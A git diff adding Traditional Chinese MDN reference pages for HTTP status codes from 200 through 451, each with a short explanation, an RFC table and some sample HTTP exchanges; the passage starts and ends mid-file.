+ <li>{{HTTPMethod("HEAD")}}：整個標已經放在訊息內文了。</li>
+ <li>{{HTTPMethod("POST")}}: 描述動作結果的資源已經傳送到訊息內文。</li>
+ <li>{{HTTPMethod("TRACE")}}：訊息內文包含了請求訊息，伺服器也接受了請求。</li>
+</ul>
+
+<p>{{HTTPMethod("PUT")}} 或 {{HTTPMethod("DELETE")}} 的成功訊息，通常不是 <code>200 OK</code>，而是 {{HTTPStatus("204")}} <code>No Content</code>（或著在資源首次上傳時，{{HTTPStatus("201")}} <code>Created</code>）。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/HTTP/Methods">HTTP 請求方法</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/201/index.html b/files/zh-tw/web/http/status/201/index.html
new file mode 100644
index 0000000000..1da5ec6edd
--- /dev/null
+++ b/files/zh-tw/web/http/status/201/index.html
@@ -0,0 +1,43 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+translation_of: Web/HTTP/Status/201
+---
+<p>HTTP <strong><code>201 Created</code></strong> 成功狀態碼表示請求成功且有一個新的資源已經依據需要而被建立。實際上，在此回應傳送前，新資源就已被建立，且其內容在訊息的主體中傳回，其位置為請求的 URL 或是 {{HTTPHeader("Location")}} 標頭的內容。</p>
+
+<p>此狀態碼通常用於 {{HTTPMethod("POST")}} 請求的回應中。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.201")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/HTTP/Methods">HTTP 請求方法</a></li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/zh-tw/web/http/status/202/index.html b/files/zh-tw/web/http/status/202/index.html
new file mode 100644
index 0000000000..04221bbebd
--- /dev/null
+++ b/files/zh-tw/web/http/status/202/index.html
@@ -0,0 +1,33 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>202 Accepted</strong></code> 成功狀態碼表示此請求已經被接受但尚未處理。此狀態為非承諾性，代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初<span class="tlid-translation translation" lang="zh-TW"><span title="">目的為外部程序或其他伺服器處理</span></span>請求的情況，或用於批次處理中。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">202 Accepted</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/203/index.html b/files/zh-tw/web/http/status/203/index.html
new file mode 100644
index 0000000000..66e3df7022
--- /dev/null
+++ b/files/zh-tw/web/http/status/203/index.html
@@ -0,0 +1,37 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>203 Non-Authoritative Information</code></strong> 狀態碼表明請求成功，但是與原始伺服器的 {{HTTPStatus("200")}} (<code>OK</code>) 回應相比，<span class="tlid-translation translation" lang="zh-TW"><span title="">隨附的</span></span>酬載<span class="tlid-translation translation" lang="zh-TW"><span title="">已被具</span></span>轉換功能的 {{Glossary("Proxy server", "代理伺服器")}} <span class="tlid-translation translation" lang="zh-TW"><span title="">所修改</span></span>。</p>
+
+<p><code>203</code> 回應相似於 {{HTTPHeader("Warning")}} 標頭的 <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a> Transformation Applied</code>，但後者的額外的優點在於可以套用到任何狀態碼的回應中。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">203 Non-Authoritative Information</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/204/index.html b/files/zh-tw/web/http/status/204/index.html
new file mode 100644
index 0000000000..ec60934d81
--- /dev/null
+++ b/files/zh-tw/web/http/status/204/index.html
@@ -0,0 +1,49 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>204 No Content</code></strong> 成功狀態碼表明請求成功，但客戶端不需要更新目前的頁面。204 回應預設是可被快取的，此類回應中會包含 {{HTTPHeader("ETag")}} 標頭。</p>
+
+<p>回傳 <code>204</code> 的常見情況是作為 {{HTTPMethod("PUT")}} 請求的回應，更新一個資源且沒有更動目前顯示給使用者的頁面內容。若是有資源被建立，{{HTTPStatus("201")}} <code>Created</code> 則應該被回傳。而若頁面應該更新為新的頁面，則應使用 {{HTTPStatus("200")}} 。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.204")}}</p>
+
+<h2 id="相容性事項">相容性事項</h2>
+
+<ul>
+ <li>雖然此狀態碼意圖表示不具主體的回應，伺服器仍可能錯誤地在標頭後加入資料。通訊協定允許使用者代理更動此回應的處理方式 (<a href="https://github.com/httpwg/http11bis/issues/26">關於規範的討論請參見此處</a>)。這在<span class="st">持久連接中可以被觀察到，</span>無效的主體可能會包含<span class="tlid-translation translation" lang="zh-TW"><span title="">後續請求的不同回應</span></span> 。<br>
+  <br>
+  Apple Safari 拒收這些資料。Google Chrome 及 Microsoft Edge <span class="tlid-translation translation" lang="zh-TW"><span title="">在有效回應之前丟棄最多四個無效的位元組。</span></span>Firefox 容許<span class="tlid-translation translation" lang="zh-TW"><span title="">在有效回應之前</span></span>超過1KB 的無效資料。</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Methods">HTTP請求方法</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/205/index.html b/files/zh-tw/web/http/status/205/index.html
new file mode 100644
index 0000000000..3ef8a05ae2
--- /dev/null
+++ b/files/zh-tw/web/http/status/205/index.html
@@ -0,0 +1,39 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>205 Reset Content</code></strong> 狀態碼用來通知客戶端重置文件視圖，例如：清除表單內容、重置畫布狀態或刷新使用者界面。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="相容性事項">相容性事項</h2>
+
+<ul>
+ <li>若是此回應在持久連線中錯誤地包含了主體，不同瀏覽器將會有不同的行為。細節參見 <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> 。</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/206/index.html b/files/zh-tw/web/http/status/206/index.html
new file mode 100644
index 0000000000..bb013ff1c8
--- /dev/null
+++ b/files/zh-tw/web/http/status/206/index.html
@@ -0,0 +1,79 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>206 Partial Content</code></strong> 成功狀態碼表明請求成功，且主體包含在請求標頭{{HTTPHeader("Range")}} 中所指定的資料區間。</p>
+
+<p>若只包含一個區間，則整個回應的 {{HTTPHeader("Content-Type")}} 將會被設為該文件的類型 ，且會包含一個 {{HTTPHeader("Content-Range")}} 標頭。</p>
+
+<p>若有多個區間，則整個回應的 {{HTTPHeader("Content-Type")}} 會被設為 <code>multipart/byteranges</code> ，且每個分段會對應一個區間，並有 {{HTTPHeader("Content-Range")}} 及 {{HTTPHeader("Content-Type")}} 描述各個區間。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>一個包含單一區間的回應：</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>一個包含多個區間的回應：</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.206")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/300/index.html b/files/zh-tw/web/http/status/300/index.html
new file mode 100644
index 0000000000..40a878c849
--- /dev/null
+++ b/files/zh-tw/web/http/status/300/index.html
@@ -0,0 +1,38 @@
+---
+title: 300 Multiple Choices
+slug: Web/HTTP/Status/300
+translation_of: Web/HTTP/Status/300
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>300 Multiple Choices</strong></code> 重定向回應碼代表該請求具有超過一種可能的回應。用戶代理或使用者應該從中挑選一個。由於不存在標準化的選擇回應方式，此回應碼非常少被使用。</p>
+
+<p>若是伺服端有偏好的選擇，則應該產生 {{HTTPHeader("Location")}} 標頭。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">300 Multiple Choices
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+</ul>
diff --git a/files/zh-tw/web/http/status/301/index.html b/files/zh-tw/web/http/status/301/index.html
new file mode 100644
index 0000000000..8fe00054ee
--- /dev/null
+++ b/files/zh-tw/web/http/status/301/index.html
@@ -0,0 +1,54 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>301 Moved Permanently</strong></code> 重定向回應碼代表所請求的資源已經被明確移動到 {{HTTPHeader("Location")}} 標頭所指示的 URL。瀏覽器會重新導向到此頁面，而搜尋引擎則會更新該資源的連結。用 SEO 的話來說，就是連結養分（link-juice）把你送到了新的 URL 去。</p>
+
+<p>儘管規範要求當執行重新導向時，請求方法 (以及主體) 不應該被更動，但並非所有的用戶代理皆遵循它 -- 你依然可以找到具有此類漏洞的軟體。因此，推薦只使用 <code>301</code> 回應碼作為 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法的回應， 另外使用 {{HTTPStatus("308", "308 Permanent Redirect")}} 作為 {{HTTPMethod("POST")}} 方法的替代，因為請求方法的更動在此狀態中是被明確禁止的。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="用戶端請求">用戶端請求</h3>
+
+<pre>GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="伺服端回應">伺服端回應</h3>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li>
+ <li>{{HTTPStatus("302", "302 Found")}}, 臨時重新導向</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/403/index.html b/files/zh-tw/web/http/status/403/index.html
new file mode 100644
index 0000000000..9ad06b2fe5
--- /dev/null
+++ b/files/zh-tw/web/http/status/403/index.html
@@ -0,0 +1,49 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>403 Forbidden</code></strong> 客戶端錯誤狀態碼表示伺服器理解該請求但拒絕核准。</p>
+
+<p>該狀態碼與 HTTP  {{HTTPStatus("401")}} 類似，但重新身分驗證不能提供幫助。 存取被永久性禁止，且與應用程式邏輯有關，如資源的訪問權限不足。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">403 Forbidden</pre>
+
+<h2 id="回應範例">回應範例</h2>
+
+<pre>HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性"><a href="https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status/100$edit#%E7%80%8F%E8%A6%BD%E5%99%A8%E7%9B%B8%E5%AE%B9%E6%80%A7" rel="nofollow, noindex">瀏覽器相容性</a></h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.403")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/404/index.html b/files/zh-tw/web/http/status/404/index.html
new file mode 100644
index 0000000000..0e7051452f
--- /dev/null
+++ b/files/zh-tw/web/http/status/404/index.html
@@ -0,0 +1,59 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>404 Not Found</strong></code> 用戶端錯誤回應碼，表明了伺服器找不到請求的資源。引發 404 頁面的連結，通常被稱作斷連或死連（broken or dead link）、並可以導到失效連結（<a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>）頁面。</p>
+
+<p>404 狀態碼並沒有表明資源是暫時不見、還是永遠不見。如果資源是永遠不見，就應該用 {{HTTPStatus(410)}}(Gone) 而不是 404。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox notranslate">404 Not Found</pre>
+
+<h2 id="自訂錯誤頁面">自訂錯誤頁面</h2>
+
+<p>很多網站都會自訂 404 錯誤頁面，以便在指引用戶後續動作方面，提供進一步的幫助。Apache 伺服器可以透過 <code>.htaccess</code> 檔案設定，程式碼如下：</p>
+
+<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre>
+
+<p>要參考自訂 404 錯誤頁面範例，請看看 <a href="https://developer.mozilla.org/zh-TW/404">MDN 的 404 頁面</a>。</p>
+
+<div class="note">
+<p>適度地客製是件好事：你可以讓 404 頁面幽默和人性化，但不要讓用戶困惑。</p>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "維基百科的 HTTP 404")}}</p>
+ </li>
+ <li>
+  <p><a href="https://www.exai.com/blog/404-http-error">404 Error </a></p>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/http/status/409/index.html b/files/zh-tw/web/http/status/409/index.html
new file mode 100644
index 0000000000..30c715c984
--- /dev/null
+++ b/files/zh-tw/web/http/status/409/index.html
@@ -0,0 +1,35 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> HTTP <code><strong>409 Conflict</strong></code> 表示請求與伺服器目前狀態衝突</p>
+
+<p>衝突通常發生於 {{HTTPMethod("PUT")}} 請求。如上傳一個已經有舊版本存在於伺服器的檔案而導致版本控制衝突時，會回復一個 409 錯誤。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/411/index.html b/files/zh-tw/web/http/status/411/index.html
new file mode 100644
index 0000000000..0e23db4f27
--- /dev/null
+++ b/files/zh-tw/web/http/status/411/index.html
@@ -0,0 +1,38 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+translation_of: Web/HTTP/Status/411
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>超文本傳輸協定 (HTTP) <code><strong>411 Length Required</strong></code> 用戶端錯誤表示伺服器拒絕接收沒有定義 {{HTTPHeader("Content-Length")}} 頭的請求。 </p>
+
+<div class="note">
+<p><strong>Note: </strong>by specification, when sending data in a series of chunks, the <code>Content-Length</code> header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. See {{HTTPHeader("Transfer-Encoding")}} for more details.</p>
+</div>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="回應範例">回應範例</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/415/index.html b/files/zh-tw/web/http/status/415/index.html
new file mode 100644
index 0000000000..1cb159f46c
--- /dev/null
+++ b/files/zh-tw/web/http/status/415/index.html
@@ -0,0 +1,39 @@
+---
+title: 415 Unsupported Media Type
+slug: Web/HTTP/Status/415
+translation_of: Web/HTTP/Status/415
+---
+<div>
+<p><font><font>{{HTTPSidebar}}</font></font></p>
+
+<p><font><font>HTTP </font></font><code><strong>415 Unsupported Media Type</strong></code> <font><font>用戶端的錯誤表示</font></font><font><font>被請求資源的多媒體類型不被伺服器支援，因此該請求被拒絕。</font></font></p>
+
+<p><font><font>該格式問體可能源自於請求中設置的  </font></font>{{HTTPHeader("Content-Type")}} 或 {{HTTPHeader("Content-Encoding")}}<font><font> 或對資料的直接訪問。</font></font></p>
+</div>
+
+<h2 id="狀態"><font><font>狀態</font></font></h2>
+
+<pre>415 Unsupported Media Type</pre>
+
+<h2 id="規範"><font><font>規範</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>規格</font></font></th>
+   <th scope="col"><font><font>標題</font></font></th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見"><font><font>參見</font></font></h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html b/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html
new file mode 100644
index 0000000000..0f03f77c24
--- /dev/null
+++ b/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html
@@ -0,0 +1,45 @@
+---
+title: 418 I'm a teapot
+slug: Web/HTTP/Status/418_I_m_a_teapot
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>418 I'm a teapot</code></strong> 用戶端錯誤碼表明了伺服器是個（永久性的）茶壺，所以拒絕煮咖啡。一個結合了咖啡與茶壺的壺子暫時沒咖啡的情境，應該回傳 503。這個錯誤是源自於 1998 與 2014 的愚人節玩笑「超文字咖啡壺控制協定」（Hyper Text Coffee Pot Control Protocol）。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7168", "418 I'm a teapot" , "2.3.3")}}</td>
+   <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA): Response Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "超文字咖啡壺控制協定", "維基百科的「超文字咖啡壺控制協定」")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/status/451/index.html b/files/zh-tw/web/http/status/451/index.html
new file mode 100644
index 0000000000..ce4817643f
--- /dev/null
+++ b/files/zh-tw/web/http/status/451/index.html
@@ -0,0 +1,65 @@
+---
+title: 451 Unavailable For Legal Reasons
+slug: Web/HTTP/Status/451
+translation_of: Web/HTTP/Status/451
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP <code><strong>451 Unavailable For Legal Reasons</strong></code> 用戶端錯誤回應碼表明用戶請求的資源，出於法律原因而無法使用，例如遭受法律訴訟的網頁。</p>
+
+<h2 id="狀態">狀態</h2>
+
+<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre>
+
+<h2 id="示例">示例</h2>
+
+<p>此示例擷取自 IETF RFC（參見以下章節）、包含了{{interwiki("wikipedia", "萬世魔星")}}的引用。</p>
+
+<p><strong>註：</strong>{{HTTPHeader("Link")}} 標頭可能包含 <code>rel="blocked-by"</code> 以表明是誰封鎖該資源，而非來自其他強制力量。</p>
+
+<p>需要為該資源無效的負責者，例如請求法律移除內容的人名或組織名，並不會放在 <code>rel="blocked-by"</code> link 裡面。</p>
+
+<pre>HTTP/1.1 451 Unavailable For Legal Reasons
+Link: &lt;https://spqr.example.org/legislatione&gt;; rel="blocked-by"
+Content-Type: text/html</pre>
+
+<pre>&lt;html&gt;
+      &lt;head&gt;&lt;title&gt;Unavailable For Legal Reasons&lt;/title&gt;&lt;/head&gt;
+      &lt;body&gt;
+            &lt;h1&gt;Unavailable For Legal Reasons&lt;/h1&gt;
+            &lt;p&gt;This request may not be serviced in the Roman Province
+            of Judea due to the Lex Julia Majestatis, which disallows
+            access to resources hosted on servers deemed to be
+            operated by the People's Front of Judea.&lt;/p&gt;
+     &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
